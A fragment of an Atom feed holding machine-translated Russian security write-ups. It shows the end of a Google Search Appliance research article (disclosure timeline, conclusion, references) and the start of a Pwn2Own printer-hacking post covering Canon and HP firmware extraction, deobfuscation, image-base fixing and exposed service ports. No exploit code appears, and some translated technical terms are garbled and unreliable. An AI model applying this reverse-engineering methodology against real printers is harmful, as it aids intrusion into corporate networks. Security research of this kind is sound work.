  &lt;p id=&quot;Y2Ah&quot;&gt;Версия Linux 2.6.20_vmw-smp_3.1 ( yifeng@yifeng.corp.google.com ) (версия gcc 4.1.1) # 1 SMP Четверг, 24 января 22:34:28 по тихоокеанскому стандартному времени 2008 г.&lt;/p&gt;
  &lt;h3 id=&quot;timeline&quot;&gt;График&lt;/h3&gt;
  &lt;p id=&quot;VXeB&quot;&gt;時間&lt;/p&gt;
  &lt;p id=&quot;w5a2&quot;&gt;事件&lt;/p&gt;
  &lt;p id=&quot;wrFs&quot;&gt;10.06.2005&lt;/p&gt;
  &lt;p id=&quot;6Drt&quot;&gt;Внедрение кода Java &lt;a href=&quot;https://seclists.org/fulldisclosure/2005/Nov/652&quot; target=&quot;_blank&quot;&gt;CVE-2005-3757&lt;/a&gt; сообщил HD Moore&lt;/p&gt;
  &lt;p id=&quot;r4Oe&quot;&gt;начало 2008 года&lt;/p&gt;
  &lt;p id=&quot;Z1OX&quot;&gt;Выпущена ГСА 5.0&lt;/p&gt;
  &lt;p id=&quot;XN9Q&quot;&gt;28.10.2008&lt;/p&gt;
  &lt;p id=&quot;pFwF&quot;&gt;vgsa_20081028.7z (5.2.0) выпущен&lt;/p&gt;
  &lt;p id=&quot;lYm1&quot;&gt;20 апреля 2013 г.&lt;/p&gt;
  &lt;p id=&quot;pPv5&quot;&gt;Выпущена GSA 6.14.0.G28&lt;/p&gt;
  &lt;p id=&quot;oqwi&quot;&gt;20 марта 2014 г.&lt;/p&gt;
  &lt;p id=&quot;2k3z&quot;&gt;Межсайтовый скриптинг &lt;a href=&quot;https://latesthackingnews.com/2014/05/03/xss-vulnerability-found-in-google-search-appliance/&quot; target=&quot;_blank&quot;&gt;CVE-2014-0362&lt;/a&gt; сообщил Уилл Дорманн&lt;/p&gt;
  &lt;p id=&quot;TJ1C&quot;&gt;01.10.2014&lt;/p&gt;
  &lt;p id=&quot;53HB&quot;&gt;Выпущена версия GSA 7.0.14.G238.&lt;/p&gt;
  &lt;p id=&quot;KSmn&quot;&gt;2014/10/03&lt;/p&gt;
  &lt;p id=&quot;dQ47&quot;&gt;Выпущена версия GSA 7.2.0.G252.&lt;/p&gt;
  &lt;p id=&quot;M9FL&quot;&gt;12.12.2014&lt;/p&gt;
  &lt;p id=&quot;1zst&quot;&gt;Выпущена версия GSA 7.2.0.G264.&lt;/p&gt;
  &lt;p id=&quot;pWH1&quot;&gt;07.02.2015&lt;/p&gt;
  &lt;p id=&quot;AwAT&quot;&gt;Выпущена GSA 7.2.0.G270&lt;/p&gt;
  &lt;p id=&quot;YPua&quot;&gt;15.04.2015&lt;/p&gt;
  &lt;p id=&quot;7TFL&quot;&gt;Выпущена GSA 7.4.0.G64&lt;/p&gt;
  &lt;p id=&quot;f3GI&quot;&gt;22.04.2015&lt;/p&gt;
  &lt;p id=&quot;xUIQ&quot;&gt;Выпущена GSA 7.4.0.G72&lt;/p&gt;
  &lt;p id=&quot;zGTV&quot;&gt;2015/04/30&lt;/p&gt;
  &lt;p id=&quot;um5H&quot;&gt;Выпущена GSA 7.4.0.G74&lt;/p&gt;
  &lt;p id=&quot;4jCf&quot;&gt;04.06.2015&lt;/p&gt;
  &lt;p id=&quot;fVG7&quot;&gt;Выпущена GSA 7.4.0.G82&lt;/p&gt;
  &lt;p id=&quot;GBZr&quot;&gt;начало 2016 года&lt;/p&gt;
  &lt;p id=&quot;NYfG&quot;&gt;Google объявил, что GSA уйдет с рынка.&lt;/p&gt;
  &lt;p id=&quot;1j3u&quot;&gt;05.01.2016&lt;/p&gt;
  &lt;p id=&quot;kN4z&quot;&gt;Внедрение внешних сущностей XMLсообщил Тимо&lt;/p&gt;
  &lt;p id=&quot;m9G8&quot;&gt;24.05.2016&lt;/p&gt;
  &lt;p id=&quot;ohe5&quot;&gt;Выпущена GSA 7.6.0.G36&lt;/p&gt;
  &lt;p id=&quot;G6ji&quot;&gt;01.07.2016&lt;/p&gt;
  &lt;p id=&quot;YUsw&quot;&gt;Выпущена GSA 7.6.0.G42&lt;/p&gt;
  &lt;p id=&quot;e9Ev&quot;&gt;2016/07/31&lt;/p&gt;
  &lt;p id=&quot;Agj4&quot;&gt;Автор статьи получил данное устройство версии 7.0.14.&lt;/p&gt;
  &lt;p id=&quot;l3H4&quot;&gt;25.08.2016&lt;/p&gt;
  &lt;p id=&quot;sabX&quot;&gt;Выпущена GSA 7.6.0.G46&lt;/p&gt;
  &lt;p id=&quot;seFO&quot;&gt;21.10.2016&lt;/p&gt;
  &lt;p id=&quot;c0nT&quot;&gt;Выпущена GSA 7.6.0.G58&lt;/p&gt;
  &lt;p id=&quot;XOvW&quot;&gt;19.01.2017&lt;/p&gt;
  &lt;p id=&quot;8Ikn&quot;&gt;Выпущена GSA 7.6.50.G30&lt;/p&gt;
  &lt;p id=&quot;o2gW&quot;&gt;2017/04/19&lt;/p&gt;
  &lt;p id=&quot;yYqu&quot;&gt;Выпущена GSA 7.6.50.G36&lt;/p&gt;
  &lt;p id=&quot;wo0b&quot;&gt;28.07.2017&lt;/p&gt;
  &lt;p id=&quot;pYn4&quot;&gt;Выпущена GSA 7.6.50.G64&lt;/p&gt;
  &lt;p id=&quot;QWJU&quot;&gt;2017/11/09&lt;/p&gt;
  &lt;p id=&quot;E41g&quot;&gt;Выпущена версия GSA 7.6.250.G12.&lt;/p&gt;
  &lt;p id=&quot;N771&quot;&gt;28.12.2017&lt;/p&gt;
  &lt;p id=&quot;gng6&quot;&gt;Последняя дата заказа GSA.&lt;/p&gt;
  &lt;p id=&quot;PTH3&quot;&gt;17.01.2018&lt;/p&gt;
  &lt;p id=&quot;vDg2&quot;&gt;Выпущена версия GSA 7.6.250.G20.&lt;/p&gt;
  &lt;p id=&quot;VaIe&quot;&gt;21.03.2018&lt;/p&gt;
  &lt;p id=&quot;qO1Y&quot;&gt;Выпущена версия GSA 7.6.250.G26.&lt;/p&gt;
  &lt;p id=&quot;nnhR&quot;&gt;15.06.2018&lt;/p&gt;
  &lt;p id=&quot;ug2v&quot;&gt;Выпущена версия GSA 7.6.360.G10.&lt;/p&gt;
  &lt;p id=&quot;za5h&quot;&gt;2018/10/08&lt;/p&gt;
  &lt;p id=&quot;PUXd&quot;&gt;Выпущена версия GSA 7.6.360.G16.&lt;/p&gt;
  &lt;p id=&quot;GiqT&quot;&gt;26.04.2019&lt;/p&gt;
  &lt;p id=&quot;bK1h&quot;&gt;Выпущена GSA 7.6.512.G18. Это должна быть последняя публично выпущенная версия.&lt;/p&gt;
  &lt;p id=&quot;Lr1Y&quot;&gt;16.08.2021&lt;/p&gt;
  &lt;p id=&quot;Xlxl&quot;&gt;сообщили о проблемах.&lt;/p&gt;
  &lt;p id=&quot;2kkx&quot;&gt;16.08.2021&lt;/p&gt;
  &lt;p id=&quot;4zUy&quot;&gt;ответил от бота и отсортирован.&lt;/p&gt;
  &lt;p id=&quot;R0VL&quot;&gt;16.08.2021&lt;/p&gt;
  &lt;p id=&quot;9ZUY&quot;&gt;Issuetracker.google.com сообщил о проблеме.&lt;/p&gt;
  &lt;p id=&quot;BkWs&quot;&gt;18.08.2021&lt;/p&gt;
  &lt;p id=&quot;KOWh&quot;&gt;В Google заявили, что проблема не настолько серьезна, чтобы претендовать на вознаграждение, но комиссия VRP рассмотрит ее более внимательно.&lt;/p&gt;
  &lt;p id=&quot;PvKQ&quot;&gt;20.08.2021&lt;/p&gt;
  &lt;p id=&quot;qV3e&quot;&gt;Комиссия VRP решила, что влияние этой проблемы на безопасность не соответствует планке финансового вознаграждения.&lt;/p&gt;
  &lt;p id=&quot;yGs7&quot;&gt;2021/11/01&lt;/p&gt;
  &lt;p id=&quot;MJHu&quot;&gt;Спросить, будет ли уязвимости присвоен идентификатор CVE.&lt;/p&gt;
  &lt;p id=&quot;6JJ6&quot;&gt;2021/11/02&lt;/p&gt;
  &lt;p id=&quot;6dwC&quot;&gt;Подтверждение того, что идентификатор CVE не будет присвоен.&lt;/p&gt;
  &lt;p id=&quot;5Oau&quot;&gt;начало 2023 г.&lt;/p&gt;
  &lt;p id=&quot;FQ7Y&quot;&gt;Начал писать эту статью&lt;/p&gt;
  &lt;p id=&quot;Hz64&quot;&gt;04.06.2023&lt;/p&gt;
  &lt;p id=&quot;VVPq&quot;&gt;Первый черновой вариант завершен.&lt;/p&gt;
  &lt;h3 id=&quot;conclusion&quot;&gt;Заключение&lt;/h3&gt;
  &lt;p id=&quot;GuXD&quot;&gt;Хотя GSA/vGSA — это продукт, который достиг конца своего жизненного цикла, изучение того, как Google повышает безопасность продукта и уменьшает векторы атак на устройства, может расширить наши знания, с которыми мы обычно не сталкиваемся. Хотя это не подробно описано в этой статье, Java Security Manager и seccomp ядра Linux являются технологиями, используемыми в GSA, и это исследование также оставило некоторые цели для дальнейшего изучения:&lt;/p&gt;
  &lt;ul id=&quot;C2W1&quot;&gt;
    &lt;li id=&quot;BanG&quot;&gt;Служба фидергейта прослушивает порт 19900.&lt;/li&gt;
    &lt;li id=&quot;IMoj&quot;&gt;Уязвимости памяти в технологии Oracle Outside-in для преобразования форматов файлов.&lt;/li&gt;
    &lt;li id=&quot;i3pW&quot;&gt;Песочница Convert_to_html seccomp&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;4VYk&quot;&gt;Мы поделимся, когда появятся результаты исследований. Увидимся в следующий раз.&lt;/p&gt;
  &lt;h3 id=&quot;other-reference-links&quot;&gt;Другие справочные ссылки&lt;/h3&gt;
  &lt;ul id=&quot;m3J1&quot;&gt;
    &lt;li id=&quot;QOpW&quot;&gt;&lt;a href=&quot;https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf&quot; target=&quot;_blank&quot;&gt;https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days- Выход-2.pdf&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;KO0d&quot;&gt;&lt;a href=&quot;https://opnsec.com/2018/07/into-the-borg-ssrf-inside-google-production-network/&quot; target=&quot;_blank&quot;&gt;https://opnsec.com/2018/07/into-the-borg-ssrf-inside-google-production-network/&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;kXik&quot;&gt;&lt;a href=&quot;https://www.exploit-db.com/exploits/1333&quot; target=&quot;_blank&quot;&gt;https://www.exploit-db.com/exploits/1333&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;L4cj&quot;&gt;&lt;a href=&quot;https://commons.erau.edu/cgi/viewcontent.cgi?article=1153&amp;context=jdfsl&quot; target=&quot;_blank&quot;&gt;https://commons.erau.edu/cgi/viewcontent.cgi?article=1153&amp;amp;context=jdfsl&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;FGec&quot;&gt;&lt;a href=&quot;https://www.anandtech.com/show/2407&quot; target=&quot;_blank&quot;&gt;https://www.anandtech.com/show/2407&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;Nzuz&quot;&gt;&lt;a href=&quot;https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ&quot; target=&quot;_blank&quot;&gt;https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;cS1w&quot;&gt;&lt;a href=&quot;https://github.com/google/subpar&quot; target=&quot;_blank&quot;&gt;https://github.com/google/subpar&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;TeMg&quot;&gt;&lt;a href=&quot;https://insinuator.net/2016/03/classical-web-vulns-found-in-google-search-appliance-7-4/&quot; target=&quot;_blank&quot;&gt;https://insinuator.net/2016/03/classical-web-vulns-found-in-google-search-appliance-7-4/&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;Q4mZ&quot;&gt;&lt;a href=&quot;https://github.com/kubernetes/kubernetes/issues/57760#issuecomment-356466614&quot; target=&quot;_blank&quot;&gt;https://github.com/kubernetes/kubernetes/issues/57760#issuecomment-356466614&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;TF1U&quot;&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2014-0362&quot; target=&quot;_blank&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2014-0362&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;

</content></entry><entry><id>papioss:eqd0s64mRqF</id><link rel="alternate" type="text/html" href="https://teletype.in/@papioss/eqd0s64mRqF?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=papioss"></link><title>Ваш принтер — не ваш принтер!</title><published>2023-11-01T12:17:31.819Z</published><updated>2023-11-01T12:17:31.819Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/61/00/6100084f-5010-4c38-81ff-cabf72ffa2ac.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://devco.re/assets/img/blog/20231005/cover.jpg&quot;&gt;Английская версия ,中文版本</summary><content type="html">
  &lt;figure id=&quot;xwCv&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/cover.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;Vxc4&quot;&gt;&lt;a href=&quot;https://devco.re/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1-en/&quot; target=&quot;_blank&quot;&gt;Английская версия&lt;/a&gt; ,&lt;a href=&quot;https://devco.re/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1/&quot; target=&quot;_blank&quot;&gt;中文版本&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;wDNK&quot;&gt;За последние несколько лет принтер стал одним из важнейших устройств в корпоративной интрасети, и его функциональные возможности также значительно расширились. Для упрощения использования также поддерживаются не только печать или отправка факсов, но и службы облачной печати, такие как AirPrint. Прямая печать с мобильных устройств теперь является основным требованием в эпоху Интернета вещей. Мы также используем его для печати некоторых внутренних деловых документов компании, поэтому обеспечение безопасности принтера становится еще более важным.&lt;/p&gt;
  &lt;p id=&quot;0wKE&quot;&gt;В 2021 году мы обнаружили уязвимости RCE предварительной аутентификации ( &lt;a href=&quot;https://www.zerodayinitiative.com/advisories/ZDI-22-515/&quot; target=&quot;_blank&quot;&gt;CVE-2022-24673&lt;/a&gt; и &lt;a href=&quot;https://www.zerodayinitiative.com/advisories/ZDI-22-532/&quot; target=&quot;_blank&quot;&gt;CVE-2022-3942&lt;/a&gt; ) в принтерах Canon и HP, а также уязвимость ( &lt;a href=&quot;https://www.zerodayinitiative.com/advisories/ZDI-22-332/&quot; target=&quot;_blank&quot;&gt;CVE-2021-44734&lt;/a&gt; ) в Lexmark. Мы использовали эти уязвимости для эксплуатации Canon ImageCLASS MF644Cdw, HP Color LaserJet Pro MFP M283fdw и Lexmark MC3224i в &lt;a href=&quot;https://www.zerodayinitiative.com/blog/2021/11/1/pwn2ownaustin&quot; target=&quot;_blank&quot;&gt;Pwn2Own Austin 2021&lt;/a&gt; . Ниже мы опишем подробности уязвимостей и их эксплуатации Canon и HP.&lt;/p&gt;
  &lt;figure id=&quot;buxO&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/1.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tDtR&quot;&gt;Это исследование также представлено на &lt;a href=&quot;https://hitcon.org/2022/agenda/704bf58c-c42b-4593-97c0-9aba91caa6e4&quot; target=&quot;_blank&quot;&gt;выставках HITCON 2022&lt;/a&gt; и &lt;a href=&quot;https://codeblue.jp/2022/en/talks/&quot; target=&quot;_blank&quot;&gt;CODE BLUE 2022&lt;/a&gt; . &lt;a href=&quot;https://hitcon.org/2022/slides/Your%20Printer%20is%20not%20your%20Printer%20!%20-%20Hacking%20Printers%20at%20Pwn2Own.pdf&quot; target=&quot;_blank&quot;&gt;Посмотреть слайды&lt;/a&gt; можно здесь.&lt;/p&gt;
  &lt;h2 id=&quot;printer&quot;&gt;Принтер&lt;/h2&gt;
  &lt;p id=&quot;Vui8&quot;&gt;Раньше для подключения принтера к компьютеру часто требовался кабель IEEE1284 или USB-принтер. Нам также пришлось установить драйвер принтера, предоставленный производителем. В настоящее время большинству принтеров, представленных на рынке, не требуется USB или традиционный кабель. Пока принтер подключен к интрасети через кабель локальной сети, мы можем немедленно найти и использовать принтер.&lt;/p&gt;
  &lt;p id=&quot;A4HB&quot;&gt;Принтер также предоставляет не только печать, но и различные услуги, такие как FTP, AirPrint, Bonjour. Не что иное, как сделать печать более удобной.&lt;/p&gt;
  &lt;h2 id=&quot;motivation&quot;&gt;Мотивация&lt;/h2&gt;
  &lt;h3 id=&quot;why-do-we-want-to-research-printers-&quot;&gt;Почему мы хотим исследовать принтеры?&lt;/h3&gt;
  &lt;h4 id=&quot;red-team&quot;&gt;Красная команда&lt;/h4&gt;
  &lt;p id=&quot;iIUH&quot;&gt;При проведении оценки красной командой мы обнаружили, что принтеры обычно появляются в корпоративной интрасети. Их почти всегда больше одного, но их обычно упускают из виду и не обновляют. Это также отличная цель для красной команды, чтобы скрыть действие, поскольку ее часто трудно обнаружить. Стоит отметить, что более крупные предприятия также могут подключиться к AD и стать точкой входа для конфиденциальной информации.&lt;/p&gt;
  &lt;h4 id=&quot;pwn2own-austin-2021&quot;&gt;Pwn2Own Остин 2021&lt;/h4&gt;
  &lt;p id=&quot;STKU&quot;&gt;Другая причина заключается в том, что принтеры стали одной из основных целей Pwn2Own Mobile. Мы также готовились снова принять участие в этапе Pwn2Own, поэтому решили начать с него.&lt;/p&gt;
  &lt;figure id=&quot;zckw&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/2.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;TqHk&quot;&gt;Сначала мы думали, что они тривиальны. Как и большинство устройств Интернета вещей, здесь часто имеется множество уязвимостей, связанных с внедрением команд. Однако многие принтеры используют RTOS вместо систем Linux, что подтолкнуло нас к решимости бросить ей вызов.&lt;/p&gt;
  &lt;p id=&quot;PMkg&quot;&gt;В этой статье основное внимание будет уделено деталям Canon и HP.&lt;/p&gt;
  &lt;h2 id=&quot;analysis&quot;&gt;Анализ&lt;/h2&gt;
  &lt;p id=&quot;lymk&quot;&gt;В начале мы прочитали много &lt;a href=&quot;https://chdk.fandom.com/wiki/DryOS_PIXMA_Printer_Shell&quot; target=&quot;_blank&quot;&gt;статей&lt;/a&gt; , во всех них нужно разобрать железо для анализа и получения консоли отладки. Затем методом дампа памяти получают оригинальную прошивку. Но в итоге мы выбрали другой путь и не сломали ни один принтер.&lt;/p&gt;
  &lt;h3 id=&quot;canon&quot;&gt;Канон&lt;/h3&gt;
  &lt;h4 id=&quot;firmware-extract&quot;&gt;Извлечение прошивки&lt;/h4&gt;
  &lt;p id=&quot;6zDQ&quot;&gt;Первоначальная версия анализа — v6.03, вначале мы использовали binwalk для анализа, но прошивка запутана, и мы не можем проанализировать ее напрямую.&lt;/p&gt;
  &lt;p id=&quot;hRKQ&quot;&gt;Запутанная прошивка Canon ImageCLASS MF644Cdw&lt;/p&gt;
  &lt;figure id=&quot;7R2T&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/3.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;y8kx&quot;&gt;Мы также попробовали &lt;a href=&quot;https://www.synacktiv.com/publications/treasure-chest-party-quest-from-doom-to-exploit.html&quot; target=&quot;_blank&quot;&gt;«Сундук с сокровищами: PARTY QUEST: FROM DOOM TO EXPLOIT»&lt;/a&gt; от Synacktiv и &lt;a href=&quot;https://web.archive.org/web/20220224100459/https://www.contextis.com/en/blog/hacking-canon-pixma-printers-doomed-encryption&quot; target=&quot;_blank&quot;&gt;«Взлом принтеров Canon Pixma – обреченное шифрование»&lt;/a&gt; от исследования Contextis. Но на этот раз это совсем другая серия, и мы не можем использовать тот же метод для деобфускации прошивки.&lt;/p&gt;
  &lt;p id=&quot;t8K1&quot;&gt;Итак, мы начали анализировать запутанный формат и содержимое прошивки.&lt;/p&gt;
  &lt;figure id=&quot;c9Y4&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/4.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;UylD&quot;&gt;Из запутанной прошивки мы видим, что начало — это Magic NCFW, за которым следует размер прошивки, а остальные части — это запутанные данные.&lt;/p&gt;
  &lt;p id=&quot;lxGN&quot;&gt;Вот мы и начали думать, что, возможно, старая прошивка этого принтера не обфусцирована до конкретной версии. Если мы сможем получить промежуточную версию, возможно, появится шанс получить метод деобфускации. Волшебный заголовок также позволяет нам определить, запутан ли он.&lt;/p&gt;
  &lt;p id=&quot;OQ7M&quot;&gt;Мы можем получить URL-адрес загрузки прошивки через официальный сайт или пакет обновления.&lt;/p&gt;
  &lt;pre id=&quot;TSL3&quot;&gt;https://pdisp01.c-wss.com/gdl/WWUFORedirectTarget.do?id=MDQwMDAwNDc1MjA1&amp;amp;cmp=Z01&amp;amp;lang=EN
&lt;/pre&gt;
  &lt;p id=&quot;JGEC&quot;&gt;После анализа его можно разделить на три части.&lt;/p&gt;
  &lt;figure id=&quot;65kK&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/5.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;qMjc&quot;&gt;ＷМы можем приблизительно определить правила URL-адреса загрузки. Этим методом мы скачиваем все версии прошивок. Версии, которые мы загрузили на тот момент, включали:&lt;/p&gt;
  &lt;ul id=&quot;6mGL&quot;&gt;
    &lt;li id=&quot;VgEn&quot;&gt;В2.01&lt;/li&gt;
    &lt;li id=&quot;WtqG&quot;&gt;В4.02&lt;/li&gt;
    &lt;li id=&quot;0OIy&quot;&gt;В6.03&lt;/li&gt;
    &lt;li id=&quot;ZOrx&quot;&gt;В9.03&lt;/li&gt;
    &lt;li id=&quot;QeMd&quot;&gt;В10.02&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;QfkS&quot;&gt;V10.02 — это версия, которая выйдет через несколько недель, и ее можно сначала загрузить отсюда. Скачав все версии, мы обнаружили, что прошивка этой серии обфусцирована, и деобфусцировать ее с предыдущей версии нет возможности.&lt;/p&gt;
  &lt;p id=&quot;K9CC&quot;&gt;Но мы можем попробовать скачать прошивку Canon другой серии и узнать, есть ли аналогичный алгоритм обфускации. После того, как вся прошивка скачана, общий размер файла составляет 130 ГБ. Мы можем найти незашифрованную прошивку, набрав &lt;code&gt;NCFW&lt;/code&gt;и &lt;code&gt;servicemode.html&lt;/code&gt;.&lt;/p&gt;
  &lt;figure id=&quot;sqgG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/6.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;RHMR&quot;&gt;Наконец мы нашли четыре прошивки, соответствующие условиям. Для анализа мы выбрали принтеры серии WG7000 и обнаружили подозрительную функцию деобфускации.&lt;/p&gt;
  &lt;figure id=&quot;UU5a&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/7.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;F7PM&quot;&gt;К счастью, переписав эту функцию, прошивку MF644Cdw можно деобфускировать.&lt;/p&gt;
  &lt;figure id=&quot;IXUP&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/8.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0VGg&quot;&gt;После извлечения прошивки нам понадобился базовый адрес образа, чтобы IDA могла эффективно идентифицировать строки и ссылаться на них. Сначала находим базу изображений через общий инструмент анализа &lt;a href=&quot;https://github.com/sgayou/rbasefind&quot; target=&quot;_blank&quot;&gt;rbasefind&lt;/a&gt; .&lt;/p&gt;
  &lt;figure id=&quot;eFuV&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/9.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;QDuZ&quot;&gt;Первая база, которую мы нашли, была 0x40b0000. Но после декомпиляции с помощью IDA большая часть строки &lt;code&gt;function&lt;/code&gt;не соответствовала &lt;code&gt;debug message&lt;/code&gt;.&lt;/p&gt;
  &lt;figure id=&quot;CX6h&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/10.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NAvf&quot;&gt;Как показано на рисунке выше, &lt;code&gt;loc_4489AC08&lt;/code&gt;должна указывать на строку имени функции, но этот адрес не является обычной строкой. Вместо этого он распознается как раздел кода, а содержимое не является строкой. Это указывает на то, что это местоположение не является фактическим адресом. Мы думали, что произошло небольшое смещение, но это не вызвало больших проблем при декомпиляции функций.&lt;/p&gt;
  &lt;p id=&quot;MV9a&quot;&gt;Как решить эту проблему? Мы сначала нашли объект &lt;code&gt;function with a known function name&lt;/code&gt;и &lt;code&gt;function name string&lt;/code&gt;внесли в него необходимые коррективы. Найдя смещение, мы настроили базу изображения на правильный адрес. Последняя найденная база образа — &lt;strong&gt;0x40affde0&lt;/strong&gt; . После настройки вы увидите, что исходное имя функции можно определить правильно.&lt;/p&gt;
  &lt;figure id=&quot;MecH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/11.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zyoX&quot;&gt;Далее можно провести типовой анализ прошивки. После предварительного анализа можно узнать Canon ImageCLASS MF644Cdw:&lt;/p&gt;
  &lt;ul id=&quot;js9E&quot;&gt;
    &lt;li id=&quot;daYs&quot;&gt;ОС — DryOSV2&lt;/li&gt;
    &lt;ul id=&quot;y5sT&quot;&gt;
      &lt;li id=&quot;fwiA&quot;&gt;Индивидуальная ОСРВ от Canon&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;wqZi&quot;&gt;32-битный ARMv7 с прямым порядком байтов&lt;/li&gt;
    &lt;li id=&quot;GkMt&quot;&gt;Связано с кодом приложения в одно изображение.&lt;/li&gt;
    &lt;ul id=&quot;gKOH&quot;&gt;
      &lt;li id=&quot;7pot&quot;&gt;Ядро&lt;/li&gt;
      &lt;li id=&quot;Wrxh&quot;&gt;Услуга&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;hp&quot;&gt;HP&lt;/h3&gt;
  &lt;p id=&quot;r2xW&quot;&gt;Прошивку HP относительно легко получить. Мы можем использовать &lt;a href=&quot;https://github.com/fkie-cad/fact_extractor/issues/37&quot; target=&quot;_blank&quot;&gt;binwalk -Z&lt;/a&gt; для получения правильной прошивки. Это заняло около 3-4 дней. Остальные шаги, такие как поиск базового адреса изображения, такие же, как у Canon. После предварительного анализа архитектура HP Color LaserJet Pro MFP M283fdw выглядит следующим образом:&lt;/p&gt;
  &lt;ul id=&quot;Vygb&quot;&gt;
    &lt;li id=&quot;M1fL&quot;&gt;Операционные системы&lt;/li&gt;
    &lt;ul id=&quot;A8mt&quot;&gt;
      &lt;li id=&quot;Xbhd&quot;&gt;ОСРВ — модификация из ThreadX/Green Hills&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;xg2j&quot;&gt;ARM11 со смешанным порядком байтов&lt;/li&gt;
    &lt;ul id=&quot;L0RY&quot;&gt;
      &lt;li id=&quot;DEwH&quot;&gt;Код — прямой порядок байтов&lt;/li&gt;
      &lt;li id=&quot;fJCj&quot;&gt;Данные – обратный порядок байтов&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;h2 id=&quot;attack-surface&quot;&gt;Поверхность атаки&lt;/h2&gt;
  &lt;p id=&quot;fGHQ&quot;&gt;Многие службы включены по умолчанию в большинстве принтеров, представленных сегодня на рынке.&lt;/p&gt;
  &lt;p id=&quot;QK6R&quot;&gt;Услуга&lt;/p&gt;
  &lt;p id=&quot;JF9Z&quot;&gt;Порт&lt;/p&gt;
  &lt;p id=&quot;JJJx&quot;&gt;Описание&lt;/p&gt;
  &lt;p id=&quot;Qbah&quot;&gt;РУИ&lt;/p&gt;
  &lt;p id=&quot;Hdwj&quot;&gt;ПТС 80/443&lt;/p&gt;
  &lt;p id=&quot;1gEe&quot;&gt;веб интерфейс&lt;/p&gt;
  &lt;p id=&quot;13DK&quot;&gt;ПДЛ&lt;/p&gt;
  &lt;p id=&quot;96Yw&quot;&gt;ПТС 9100&lt;/p&gt;
  &lt;p id=&quot;OhDK&quot;&gt;Язык описания страницы&lt;/p&gt;
  &lt;p id=&quot;ixMM&quot;&gt;ПИЖЛ&lt;/p&gt;
  &lt;p id=&quot;Qxun&quot;&gt;ПТС 9100&lt;/p&gt;
  &lt;p id=&quot;33eO&quot;&gt;Язык задания принтера&lt;/p&gt;
  &lt;p id=&quot;qotu&quot;&gt;ИПП&lt;/p&gt;
  &lt;p id=&quot;Poaw&quot;&gt;ПТС 631&lt;/p&gt;
  &lt;p id=&quot;Y0NH&quot;&gt;Протокол Интернет-печати&lt;/p&gt;
  &lt;p id=&quot;gTMX&quot;&gt;ЛПД&lt;/p&gt;
  &lt;p id=&quot;SyU1&quot;&gt;ПТС 515&lt;/p&gt;
